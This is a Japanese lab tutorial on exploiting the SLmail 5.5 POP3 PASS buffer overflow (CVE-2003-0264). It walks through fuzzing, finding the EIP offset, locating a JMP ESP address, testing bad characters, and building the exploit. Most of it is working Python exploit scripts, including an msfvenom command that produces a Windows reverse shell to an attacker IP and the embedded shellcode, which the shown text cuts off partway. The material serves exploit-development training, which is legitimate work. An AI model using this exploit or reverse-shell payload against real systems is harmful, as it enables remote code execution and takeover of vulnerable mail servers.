はじめに
本稿では、Win32プログラムが抱えるスタックベースバッファオーバーフローの脆弱性を突くエクスプロイトコードの開発プロセスについて説明します。
SLmail (Seattle Lab Mail) 5.5.0.4433
は、SMTPとPOP3サービスを提供するメールサーバープログラムです。このプログラムにはCVE-2003-0264の脆弱性を抱えています。この脆弱性を突くエクスプロイトコードの開発を行います。
ラボの構築
本稿の演習を行うには、標的となる脆弱なSLmail
アプリケーションを実行するWindows OSと、標的に対して攻撃を行うKali Linux
を用意する必要があります。
標的システムに導入すべき解析ツール(Windows OS):
ツール | URL |
---|---|
Immunity Debugger(イミュニティー デバッガ) | https://www.immunityinc.com/products/debugger/ |
Python 2.7.14(またはそれ以降の2.7.xxバージョン) | https://www.python.org/downloads/windows/ |
mona.py(Immunity Debuggerの拡張機能) | https://github.com/corelan/mona |
標的システムの構築
本稿では、標的システムに次のWindows 7 Ultimate
環境をVMware上に稼働させています。
c:\bin>ver
Microsoft Windows [Version 6.1.7600]
c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86
解析ツールのインストール
-
Immunity Debugger
をインストールします。Python 2.7.1
がインストールされていない場合、Python 2.7.1 Setup
プログラムが起動します。すべてのオプションに対して[Next >]
を選択します。 -
Immunity Debugger
にバンドルされていたPython 2.7.1
をPython 2.7.14
(またはそれ以降の2.7.xxバージョン)で上書きします。これは、mona.py
を更新する際のTLSの問題を回避するために必要となる更新です。 -
mona.py
をPyCommands
フォルダー(C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
)にコピーします。
Immunity Debugger
を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文!mona config -set workingfolder c:\logs\%p
を入力します。これにより、mona.py
のログをC:¥logs¥<program name>
に記録されます。ここで、program nameはImmunity Debugger
のデバッグ対象プログラムを示しています。
ここまでセットアップできたら、いったん、VMwareにてスナップショットの作成を実行します。これにより、別のプログラムに対して解析を行う際にもこのスナップショットを転用することができます。
Windowsファイアウォール機能の無効化
管理者権限でコマンドプロンプトを起動します。
C:¥>powershell start-process cmd -verb runas
netsh advfirewall
コマンドを使用し、Windowsのファイアウォール機能を無効にします。
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>netsh advfirewall set allprofiles state off
OK
SLmail 5.5
SLMail 5.5.0.4433をExploit-db.com(EDB-ID:638)からダウンロード([Vulnerable App:]のアイコンをクリックすると、バイナリファイルがダウンロード可能)します。
SLmail(入手したバイナリファイル)のインストールでは、すべてのオプションに対して[Next >]
を選択します。
インストール時にドメイン名に関する警告が表示される場合があります。この場合、警告を無視して[OK]
を選択してください。
インストールが終了すると再起動が促されます。再起動後、[スタート] > [SL Products] > [SLmail] > [SLmail Configuration]
を開きます。
[Users]
タブを選択し、[SLmail Configuration]
ウインドウ上で右クリックメニューを表示させます。[New] > [User]
をクリックして、任意のユーザーを追加します。
このあとの内容は初期設定で追加されているroot
ユーザを使用します。MailBoxの名前はroot、パスワードは設定されていません。
攻撃側のKali Linux
から、標的側のWindows OS
に対してPOP3サービスの応答について確認します。ここでは、netcat
コマンドを使用して確認します。
root@kali:~# nc 172.16.208.172 110
+OK POP3 server VMOSX-WIN7-CNT ready <00002.1747491@VMOSX-WIN7-CNT>
USER root
+OK root welcome here
PASS
+OK mailbox for root has 0 messages (0 octets)
QUIT
+OK POP3 server VMOSX-WIN7-CNT signing off.
root@kali:~#
Immunity Debuggerによるデバッグ
Immunity Debugger
のアイコンを右クリックし、[管理者として実行(A)...]
を選択して起動します。[File] > [Attach]にて、SLmail.exe
を選択します。
[Debug] > [Run]または、F9
にて、プログラムを実行します。
ファジング(Fuzzing)
SLmail.exe
にファズ(fuzz)データを送信するペイロードfuzzer_slmail.py
プログラムをコーディングします。
このコードはSLmail.exe
が受け入れる限り、PASS
コマンドにA
文字列を100ステップで送り続けます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110
buffer = ["A"]
counter = 100
while len(buffer) <= 30:
buffer.append("A" * counter)
counter = counter + 100
for string in buffer:
print ("Fuzzing with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
結果、2700 bytesまで受け入れていることが明らかとなりました。
root@kali:~# python fuzzer_slmail.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
.
.
Fuzzing with 2700 bytes
EIPの制御
EIP
を上書きする正確な文字数の特定を試みます。必要となるテスト用のパターンを作成します。ここでは、Metasploit Framework
のpattern_create.rb
にて生成を行います。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
作成されたパターンを送信するようにコードを書き換えます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110
buffer = ["A"]
counter = 100
string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"
print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
Python
コードを実行します。Immunity Debugger
を確認すると、EIP
が39694438
にて上書きされていることが解ります。
Metasploit Framework
のpatter_offset
を使用して、正確なバイトカウントを取得します。2606 byte
であることが判明しました。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
[*] Exact match at offset 2606
root@kali:~#
Offsetの検証
コードをさらに書き換えます。
-
2606 bytes
のA
(16進コードは0x41
)でバッファを上書き -
EIP
の値を42424242
(B
の16進コードは0x42
)で上書き -
500 bytes
のC
(16進コードは0x43
)を疑似ペイロードにみたて上書き
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110
buffer = ["A"]
counter = 100
junk = b"A" * 2606
EIP = b"BBBB"
payload = b"C" * 500
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + payload + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
Python
コードを実行します。Immunity Debugger
を確認すると、EIP
を42424242
にて上書きすることに成功したことが確認できます。
JMP ESPの検索
ペイロードを発動させるには、EIP
をJMP ESP
アドレスで上書きする必要があります。
ただし、ESP
アドレスは起動するたびに異なる値となります。これでは、ESP
アドレスをハードコーディングすることができず、エクスプロイトが安定しません。幸いなことに、ほとんどのプログラムには、ESP
にリダイレクトするJMP ESP
と呼ばれるバイト列があります。そのようなアドレスの命令ポインタ(EIP
)を上書きすると、ペイロードへジャンプさせることが可能です。
まず、mona.py
を使用しSLmail.exe
でロードされたモジュールのリストを取得します。Immunity Debugger
を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文!mona modules
を入力します。
Rebase
、SafeSEH
、ASLR
、NXCompat
列の値がすべてFalse
になっているモジュールを特定します。その結果、SLmail.exe
とSLMFC.DLL
が候補として選定されました。
ただし、SLmail.exe
のBase
アドレスには0x00
が含まれています。このため、SLMFC.DLL
モジュールのみがJMP ESP
を見つけるのに適していると判断できます。
一般的にメインの実行可能ファイル(すなわち
SLmail.exe
)には、先頭に0x00
ゼロアドレス(Bad Characters
)が含まれています。これをバッファに送信すると多くのエクスプロイトは破損します。
次に、JMP ESP
の16進コードについて確認します。ここでは、Metasploit Framework
のnasm_shell.rb
を使って確認を行います。その結果、JMP ESP
は¥FF¥E4
であることが特定できました。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
00000000 FFE4 jmp esp
nasm > exit
mona.py
を使用しslmfc.dll
からJMP ESP
を探します。Immunity Debugger
を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文!mona find -s "¥xff¥xe4" -m slmfc.dll
を入力します。
found a total of 19 pointers
の結果が得られます。出力のうち、最初のアドレスである0x5f4a358f
を記録しておきます。
- JMP ESPアドレス:
0x5f4a358f
コードを先ほど特定したESP
のアドレス0x5f4a358f
を元にさらに書き換えます。
注意すべきポイントは、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することです。すなわち、メモリアドレスを逆に入力する必要があります。
- EIPの値を
\x8F\x35\x4A\x5F
で上書き
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110
buffer = ["A"]
counter = 100
junk = b"A" * 2606
EIP = "\x8F\x35\x4A\x5F"
payload = b"C" * 500
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + payload + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
コードを実行する前に、Immunity Debugger
でブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。
Immunity Debugger
を開き、ウインドウ最下部のコマンドプロンプトにコマンド構文bp 0x5F4A358F
を入力します。
Python
コードを実行します。Immunity Debugger
を確認すると、ステータスバーに、JMP ESP
命令を含むメモリアドレス5F4A358F
でブレークポイントに到達したことが示されます。
Bad Charactersの検証
一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これをBad Characters
と呼びます。シェルコードを生成する前に定義されているBad Characters
を見つける必要があります。
典型的な例として、NULL文字
またはNULLバイト
と呼ばれる\x00
があります。
Bad Characters
を見つけるため、まずすべての16進文字を用意する必要があります。そこで、次のPython
コードを使って16進文字の生成を行います。
import sys
for x in range(1,256):
sys.stdout.write("\\x" + '{:02x}'.format(x))
用意したBad Characters
を送信するようにコードを書き換えます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110
buffer = ["A"]
counter = 100
junk = b"A" * 2606
EIP = b"BBBB"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + badchars + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()
Python
コードを実行し、Immunity Debugger
を確認します。ESP
レジスタのFollow in Dump
機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。
まずはじめに、x0A
がBad Characters
であることが特定できました。
続いて、Python
コードからもx0A
を排除し、再びコードを実行します。その結果、x0D
もBad Characters
であることが特定できました。先ほどと同様に、Python
コードからx0D
も排除し、再びコードを実行します。
これで、すべてのBad Characters
を取り除くことができました。
- Bad Characters:
¥x00 ¥x0A ¥0D
SLmail
のBad Charactersをコード表記で確認してみます。
「文字列の終わり(¥x00
)」、「キャリッジリターン(¥x0A
)」、「改行(¥x0D
)」です。
すなわち、脆弱性対策として意図して組み込まれたものではなく、機能を提供するために必然的に組み込まれたBad Charactersであると考察できます。
エクスプロイトコードの構築
リバースシェルコードの生成
msfvenomu
コマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルコードを生成します。このとき、判明している3つのBad Characters
(¥x00 ¥x0A ¥0D
)を除いたシェルコードを生成する必要があります。
コマンド構文は、msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0A\x0D" -f c > shellcode.txt
です。
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.171 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0A\x0D" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~#
リバースシェルの確立
これまで得られた情報を元に、エクスプロイトコードの組み立てを行います。
-
2606 bytes
のA
(16進コードは0x41
)でバッファを上書き -
EIP
の値を\x8F\x35\x4A\x5F
で上書き(JMP ESP
アドレス) -
NOP
(No Operation)命令(\x90
)を8つ挿入:NOP Sled(NOPスライド) - シェルコード本体
payload = "A"*[offset] + [JMP ESP] + [NOP Sled] + [Shellcode]
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110
buffer = ["A"]
counter = 100
junk = b"A" * 2606
EIP = "\x8F\x35\x4A\x5F"
NOP = "\x90" * 8
shellcode = ("\xdb\xc6\xbe\x09\x4c\x42\xd3\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x83\xc5\x04\x31\x75\x13\x03\x7c\x5f\xa0\x26\x82\xb7\xa6"
"\xc9\x7a\x48\xc7\x40\x9f\x79\xc7\x37\xd4\x2a\xf7\x3c\xb8\xc6"
"\x7c\x10\x28\x5c\xf0\xbd\x5f\xd5\xbf\x9b\x6e\xe6\xec\xd8\xf1"
"\x64\xef\x0c\xd1\x55\x20\x41\x10\x91\x5d\xa8\x40\x4a\x29\x1f"
"\x74\xff\x67\x9c\xff\xb3\x66\xa4\x1c\x03\x88\x85\xb3\x1f\xd3"
"\x05\x32\xf3\x6f\x0c\x2c\x10\x55\xc6\xc7\xe2\x21\xd9\x01\x3b"
"\xc9\x76\x6c\xf3\x38\x86\xa9\x34\xa3\xfd\xc3\x46\x5e\x06\x10"
"\x34\x84\x83\x82\x9e\x4f\x33\x6e\x1e\x83\xa2\xe5\x2c\x68\xa0"
"\xa1\x30\x6f\x65\xda\x4d\xe4\x88\x0c\xc4\xbe\xae\x88\x8c\x65"
"\xce\x89\x68\xcb\xef\xc9\xd2\xb4\x55\x82\xff\xa1\xe7\xc9\x97"
"\x06\xca\xf1\x67\x01\x5d\x82\x55\x8e\xf5\x0c\xd6\x47\xd0\xcb"
"\x19\x72\xa4\x43\xe4\x7d\xd5\x4a\x23\x29\x85\xe4\x82\x52\x4e"
"\xf4\x2b\x87\xc1\xa4\x83\x78\xa2\x14\x64\x29\x4a\x7e\x6b\x16"
"\x6a\x81\xa1\x3f\x01\x78\x22\xec\xc6\x52\x19\x84\xe4\x52\x4f"
"\x09\x60\xb4\x05\xa1\x24\x6f\xb2\x58\x6d\xfb\x23\xa4\xbb\x86"
"\x64\x2e\x48\x77\x2a\xc7\x25\x6b\xdb\x27\x70\xd1\x4a\x37\xae"
"\x7d\x10\xaa\x35\x7d\x5f\xd7\xe1\x2a\x08\x29\xf8\xbe\xa4\x10"
"\x52\xdc\x34\xc4\x9d\x64\xe3\x35\x23\x65\x66\x01\x07\x75\xbe"
"\x8a\x03\x21\x6e\xdd\xdd\x9f\xc8\xb7\xaf\x49\x83\x64\x66\x1d"
